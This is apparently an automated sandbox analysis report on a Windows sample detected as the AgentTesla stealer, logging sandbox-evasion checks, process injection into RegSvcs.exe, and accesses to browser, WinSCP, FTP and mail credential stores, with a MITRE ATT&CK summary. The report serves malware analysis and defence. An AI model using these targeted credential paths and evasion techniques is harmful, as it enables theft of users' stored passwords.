Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595207	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594840	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594733	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594621	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594514	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2242			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7613			Jump to behavior

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-105600

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

API coverage: 4.7 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2445A GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00F2445A
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2C6D1 FindFirstFileW,FindClose,	0_2_00F2C6D1
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00F2C75C
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00F2EF95
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00F2F0F2
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00F2F3F3
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F237EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00F237EF
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F23B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00F23B12
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F2BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00F2BCBC

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EC49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00EC49A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599420	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598327	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597221	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595207	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594840	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594733	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594621	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594514	Jump to behavior

Source: RegSvcs.exe, 00000002.00000002.3895417120.0000000002471000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: RegSvcs.exe, 00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: vmware
Source: RegSvcs.exe, 00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: VMwareVBox
Source: RegSvcs.exe, 00000002.00000002.3897173534.00000000057B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_00757078 CheckRemoteDebuggerPresent,

2_2_00757078

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F33F09 BlockInput,

0_2_00F33F09

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EC3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00EC3B3A

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EF5A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00EF5A7C

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EC4B37 LoadLibraryA,GetProcAddress,

0_2_00EC4B37

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_016307A8 mov eax, dword ptr fs:[00000030h]	0_2_016307A8
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_01631DC8 mov eax, dword ptr fs:[00000030h]	0_2_01631DC8
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_01631E28 mov eax, dword ptr fs:[00000030h]	0_2_01631E28

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F180A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

0_2_00F180A9

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EEA155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00EEA155
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EEA124 SetUnhandledExceptionFilter,		0_2_00EEA124

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 381008

Jump to behavior

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F187B1 LogonUserW,

0_2_00F187B1

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EC3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00EC3B3A

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EC48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00EC48D7

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F24C7F mouse_event,

0_2_00F24C7F

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\J8V6dFanEo.exe"

Jump to behavior

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F17CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00F17CAF

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F1874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00F1874B

Source: J8V6dFanEo.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: J8V6dFanEo.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EE862B cpuid

0_2_00EE862B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EF4E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00EF4E87

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F01E06 GetUserNameW,

0_2_00F01E06

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EF3F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00EF3F3A

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EC49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00EC49A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2.2.RegSvcs.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.J8V6dFanEo.exe.db0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.J8V6dFanEo.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3895417120.0000000002471000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3895417120.000000000249E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: J8V6dFanEo.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7884, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: J8V6dFanEo.exe	Binary or memory string: WIN_81
Source: J8V6dFanEo.exe	Binary or memory string: WIN_XP
Source: J8V6dFanEo.exe	Binary or memory string: WIN_XPe
Source: J8V6dFanEo.exe	Binary or memory string: WIN_VISTA
Source: J8V6dFanEo.exe	Binary or memory string: WIN_7
Source: J8V6dFanEo.exe	Binary or memory string: WIN_8
Source: J8V6dFanEo.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 2.2.RegSvcs.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.J8V6dFanEo.exe.db0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.J8V6dFanEo.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3895417120.0000000002471000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: J8V6dFanEo.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7884, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2.2.RegSvcs.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.J8V6dFanEo.exe.db0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.J8V6dFanEo.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3895417120.0000000002471000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3895417120.000000000249E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: J8V6dFanEo.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7884, type: MEMORYSTR

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F36283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00F36283
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F36747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00F36747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	2 Obfuscated Files or Information	1 Credentials in Registry	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	138 System Information Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	2 Valid Accounts	LSA Secrets	651 Security Software Discovery	SSH	3 Clipboard Data	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	231 Virtualization/Sandbox Evasion	Cached Domain Credentials	231 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
J8V6dFanEo.exe	74%	ReversingLabs	Win32.Trojan.AutoitInject
J8V6dFanEo.exe	51%	Virustotal		Browse
